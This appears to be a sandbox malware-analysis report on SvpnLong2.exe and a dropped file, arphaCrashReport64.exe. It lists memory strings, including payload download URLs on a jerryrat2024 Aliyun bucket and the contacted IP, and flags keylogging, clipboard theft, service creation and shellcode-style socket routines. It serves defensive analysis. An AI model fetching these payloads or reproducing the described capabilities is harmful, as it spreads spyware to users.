Source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: arphaCrashReport64.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/cps0(
Source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.symauth.com/rpa00
Source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: SvpnLong2.exe, 00000000.00000002.2926635512.0000000001550000.00000040.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926878783.0000000001868000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926152879.0000028300130000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000004.00000002.2926476364.0000028300448000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926801710.0000016AA3DB8000.00000040.00001000.00020000.00000000.sdmp, arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: SvpnLong2.exe, 00000000.00000003.2734932479.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2134713484.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926063558.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/
Source: SvpnLong2.exe, 00000000.00000003.2734932479.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926063558.00000000009D9000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2200973387.0000000003400000.00000004.00001000.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2078025451.0000000000A04000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exe
Source: SvpnLong2.exe, 00000000.00000003.2734932479.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926063558.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exeF=
Source: SvpnLong2.exe, 00000000.00000003.2200973387.0000000003400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaCrashReport64.exehttps://jerryrat2024.oss-cn-b
Source: SvpnLong2.exe, 00000000.00000003.2134713484.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000003.2200973387.0000000003400000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com/arphaDump64.dll
Source: SvpnLong2.exe, 00000000.00000003.2734932479.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926063558.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaCrashReport64.exe
Source: SvpnLong2.exe, 00000000.00000003.2734932479.00000000009D8000.00000004.00000020.00020000.00000000.sdmp, SvpnLong2.exe, 00000000.00000002.2926063558.00000000009D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jerryrat2024.oss-cn-beijing.aliyuncs.com:443/arphaDump64.dll
Source: arphaDump64.dll.0.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: arphaCrashReport64.exe, 00000005.00000002.2926538506.0000016AA3AA0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.virtualbox.org/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 39.97.203.118:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 39.97.203.118:443 -> 192.168.2.4:49740 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to capture and log keystrokes

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: [esc]	0_2_0184DEB0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: [esc]	4_2_000002830042DEB0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: [esc]	5_2_0000016AA3D9DEB0

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_01844210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,

0_2_01844210

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01844210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,	0_2_01844210
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300424210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,	4_2_0000028300424210
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3D94210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,	5_2_0000016AA3D94210

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_01844210 OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalAlloc,EmptyClipboard,GlobalLock,SetClipboardData,GlobalUnWire,GlobalUnWire,CloseClipboard,

0_2_01844210

Source: SvpnLong2.exe

Binary or memory string: DirectInput8Create

Source: C:\Users\user\Desktop\SvpnLong2.exe

Windows user hook set: 0 mouse low level C:\Windows\SYSTEM32\DINPUT8.dll

Jump to behavior

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01844380 NtdllDefWindowProc_A,SendMessageA,SendMessageA,DestroyWindow,PostQuitMessage,ChangeClipboardChain,SetClipboardViewer,	0_2_01844380
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_00B78C09 socket,connect,send,recv,NtAllocateVirtualMemory,NtAllocateVirtualMemory,recv,closesocket,	0_2_00B78C09
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01550020 NtAllocateVirtualMemory,LdrLoadDll,	0_2_01550020
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01550091 NtAllocateVirtualMemory,LdrLoadDll,	0_2_01550091
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300424380 NtdllDefWindowProc_A,SendMessageA,SendMessageA,DestroyWindow,PostQuitMessage,ChangeClipboardChain,SetClipboardViewer,	4_2_0000028300424380
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300130020 NtAllocateVirtualMemory,LdrLoadDll,	4_2_0000028300130020
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300130091 NtAllocateVirtualMemory,LdrLoadDll,	4_2_0000028300130091
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_000002837E6A0C79 WSAStartup,socket,connect,send,recv,NtAllocateVirtualMemory,NtAllocateVirtualMemory,recv,closesocket,	4_2_000002837E6A0C79
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3D94380 NtdllDefWindowProc_A,SendMessageA,SendMessageA,DestroyWindow,PostQuitMessage,ChangeClipboardChain,SetClipboardViewer,	5_2_0000016AA3D94380
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA2190C79 WSAStartup,socket,connect,send,recv,NtAllocateVirtualMemory,NtAllocateVirtualMemory,recv,closesocket,	5_2_0000016AA2190C79
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3AA0020 NtAllocateVirtualMemory,LdrLoadDll,	5_2_0000016AA3AA0020
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3AA0091 NtAllocateVirtualMemory,LdrLoadDll,	5_2_0000016AA3AA0091

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_0184F8D0 rand,OpenSCManagerA,CreateFileA,CloseHandle,CloseServiceHandle,CreateServiceA,WriteFile,DeleteService,CloseServiceHandle,CloseHandle,CloseServiceHandle,CloseHandle,StartServiceA,Sleep,DeleteService,CloseServiceHandle,CloseServiceHandle,DeleteFileA,

0_2_0184F8D0

Source: C:\Users\user\Desktop\SvpnLong2.exe

Code function: 0_2_0184F360 GetCurrentProcessId,GetCurrentThreadId,VirtualProtect,VirtualProtect,CreateProcessWithLogonW,VirtualProtect,VirtualProtect,CloseHandle,

0_2_0184F360

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_0184E6F6 ExitWindowsEx,	0_2_0184E6F6
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_000002830042E6F6 ExitWindowsEx,	4_2_000002830042E6F6
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 5_2_0000016AA3D9E6F6 ExitWindowsEx,	5_2_0000016AA3D9E6F6

Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180002370	0_3_0000000180002370
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180015040	0_3_0000000180015040
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018002D860	0_3_000000018002D860
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018001A860	0_3_000000018001A860
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018000F060	0_3_000000018000F060
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_00000001800220A0	0_3_00000001800220A0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018004B8B7	0_3_000000018004B8B7
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_00000001800620C0	0_3_00000001800620C0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_00000001800458E0	0_3_00000001800458E0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018000F920	0_3_000000018000F920
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180031150	0_3_0000000180031150
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018004D160	0_3_000000018004D160
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018000E960	0_3_000000018000E960
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180046970	0_3_0000000180046970
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018003C980	0_3_000000018003C980
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018000B1A4	0_3_000000018000B1A4
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018004C1C0	0_3_000000018004C1C0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018005F1F0	0_3_000000018005F1F0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180014A00	0_3_0000000180014A00
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018000DA00	0_3_000000018000DA00
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180061210	0_3_0000000180061210
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018002DA10	0_3_000000018002DA10
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018002E210	0_3_000000018002E210
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180052A20	0_3_0000000180052A20
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180030220	0_3_0000000180030220
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018004EA2E	0_3_000000018004EA2E
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180058230	0_3_0000000180058230
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180045260	0_3_0000000180045260
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018001AA60	0_3_000000018001AA60
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018005D280	0_3_000000018005D280
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180049AC3	0_3_0000000180049AC3
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018005DAD0	0_3_000000018005DAD0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180031AF0	0_3_0000000180031AF0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180058B10	0_3_0000000180058B10
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180007B78	0_3_0000000180007B78
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018004A389	0_3_000000018004A389
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180057BB0	0_3_0000000180057BB0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018005ABF0	0_3_000000018005ABF0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018003A3F0	0_3_000000018003A3F0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018002D410	0_3_000000018002D410
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018001F420	0_3_000000018001F420
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180062C50	0_3_0000000180062C50
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018001AC60	0_3_000000018001AC60
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018002FC70	0_3_000000018002FC70
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180030C90	0_3_0000000180030C90
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018000F4A0	0_3_000000018000F4A0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018004BCC3	0_3_000000018004BCC3
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_00000001800504E0	0_3_00000001800504E0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018005FCF0	0_3_000000018005FCF0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018002C4F0	0_3_000000018002C4F0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180014500	0_3_0000000180014500
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018000E500	0_3_000000018000E500
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018006A518	0_3_000000018006A518
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018004F514	0_3_000000018004F514
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018002E540	0_3_000000018002E540
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018000ED40	0_3_000000018000ED40
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180023550	0_3_0000000180023550
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180062570	0_3_0000000180062570
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180023D70	0_3_0000000180023D70
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018001EDC0	0_3_000000018001EDC0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018004DDC7	0_3_000000018004DDC7
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018006BDF4	0_3_000000018006BDF4
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180002E00	0_3_0000000180002E00
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018004AE20	0_3_000000018004AE20
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180031620	0_3_0000000180031620
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180022E20	0_3_0000000180022E20
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018000FE20	0_3_000000018000FE20
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018000C640	0_3_000000018000C640
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180068657	0_3_0000000180068657
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180026660	0_3_0000000180026660
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018001A660	0_3_000000018001A660
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180025E70	0_3_0000000180025E70
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180024680	0_3_0000000180024680
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180025680	0_3_0000000180025680
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018006AE9C	0_3_000000018006AE9C
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018004C6BD	0_3_000000018004C6BD
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180043EC0	0_3_0000000180043EC0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_00000001800226F0	0_3_00000001800226F0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018002BF20	0_3_000000018002BF20
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018000A720	0_3_000000018000A720
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018004EF2F	0_3_000000018004EF2F
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180052F50	0_3_0000000180052F50
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018000C764	0_3_000000018000C764
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180024F70	0_3_0000000180024F70
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018001F780	0_3_000000018001F780
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_000000018000DF80	0_3_000000018000DF80
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_0000000180031FC0	0_3_0000000180031FC0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_3_00000001800307D0	0_3_00000001800307D0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01850180	0_2_01850180
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01842380	0_2_01842380
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01844530	0_2_01844530
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_018524A0	0_2_018524A0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_018574B8	0_2_018574B8
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_018414C0	0_2_018414C0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_0184FCF0	0_2_0184FCF0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01841E80	0_2_01841E80
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_018651A4	0_2_018651A4
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01853904	0_2_01853904
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01857938	0_2_01857938
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01863974	0_2_01863974
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_0184F8D0	0_2_0184F8D0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01858808	0_2_01858808
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_0184DA90	0_2_0184DA90
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01862ADC	0_2_01862ADC
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_0185A244	0_2_0185A244
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01856A70	0_2_01856A70
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01866520	0_2_01866520
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01856CAC	0_2_01856CAC
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_018584A8	0_2_018584A8
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01865CC0	0_2_01865CC0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01853FA4	0_2_01853FA4
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01857F24	0_2_01857F24
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_0185664C	0_2_0185664C
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_015681C0	0_2_015681C0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01566004	0_2_01566004
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01551838	0_2_01551838
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_015678DC	0_2_015678DC
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_0155FB38	0_2_0155FB38
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01569BFC	0_2_01569BFC
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_015672F0	0_2_015672F0
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_015632BC	0_2_015632BC
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01551D38	0_2_01551D38
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_0155D42B	0_2_0155D42B
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01561E58	0_2_01561E58
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01566E70	0_2_01566E70
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01567E60	0_2_01567E60
Source: C:\Users\user\Desktop\SvpnLong2.exe	Code function: 0_2_01553EE8	0_2_01553EE8
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00000283004214C0	4_2_00000283004214C0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300424530	4_2_0000028300424530
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300421E80	4_2_0000028300421E80
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300436A70	4_2_0000028300436A70
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_000002830042DA90	4_2_000002830042DA90
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_000002830043A244	4_2_000002830043A244
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300442ADC	4_2_0000028300442ADC
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300422380	4_2_0000028300422380
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00000283004324A0	4_2_00000283004324A0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_000002830042FCF0	4_2_000002830042FCF0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300446520	4_2_0000028300446520
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00000283004384A8	4_2_00000283004384A8
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300436CAC	4_2_0000028300436CAC
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00000283004374B8	4_2_00000283004374B8
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300445CC0	4_2_0000028300445CC0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_000002830043664C	4_2_000002830043664C
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300437F24	4_2_0000028300437F24
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300438808	4_2_0000028300438808
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300433FA4	4_2_0000028300433FA4
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300433904	4_2_0000028300433904
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_000002830042F8D0	4_2_000002830042F8D0
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300443974	4_2_0000028300443974
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300430180	4_2_0000028300430180
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_0000028300437938	4_2_0000028300437938
Source: C:\ProgramData\tusyk\arphaCrashReport64.exe	Code function: 4_2_00000283004451A4	4_2_00000283004451A4
